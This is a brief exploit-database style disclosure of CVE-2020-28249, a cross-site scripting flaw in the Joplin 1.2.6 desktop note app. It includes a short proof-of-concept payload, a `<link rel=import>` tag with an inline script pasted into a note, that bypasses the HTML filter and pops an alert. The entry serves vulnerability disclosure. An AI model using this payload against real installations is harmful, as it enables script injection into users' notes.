发布 2020-11-09 漏洞条目

Joplin 1.2.6 – ‘link’ Cross Site Scripting

Exploit Source

# Exploit Title: Joplin 1.2.6 - 'link' Cross Site Scripting

# Date: 2020-09-21

# Exploit Author: Philip Holbrook (@fhlipZero)

# Vendor Homepage: https://joplinapp.org/

# Software Link: https://github.com/laurent22/joplin/releases/tag/v1.2.6

# Version: 1.2.6

# Tested on: Windows / Mac

# CVE : CVE-2020-28249

# References:

# https://github.com/fhlip0/JopinXSS/blob/main/readme.md

# 1. Technical Details

# An XSS issue in Joplin for desktop v1.2.6 allows a link tag in a note to

bypass the HTML filter

# 2. PoC

# Paste the following payload into a note:

```

<link rel=import

href="data:text/html,<script>alert(XSS)</script>

```

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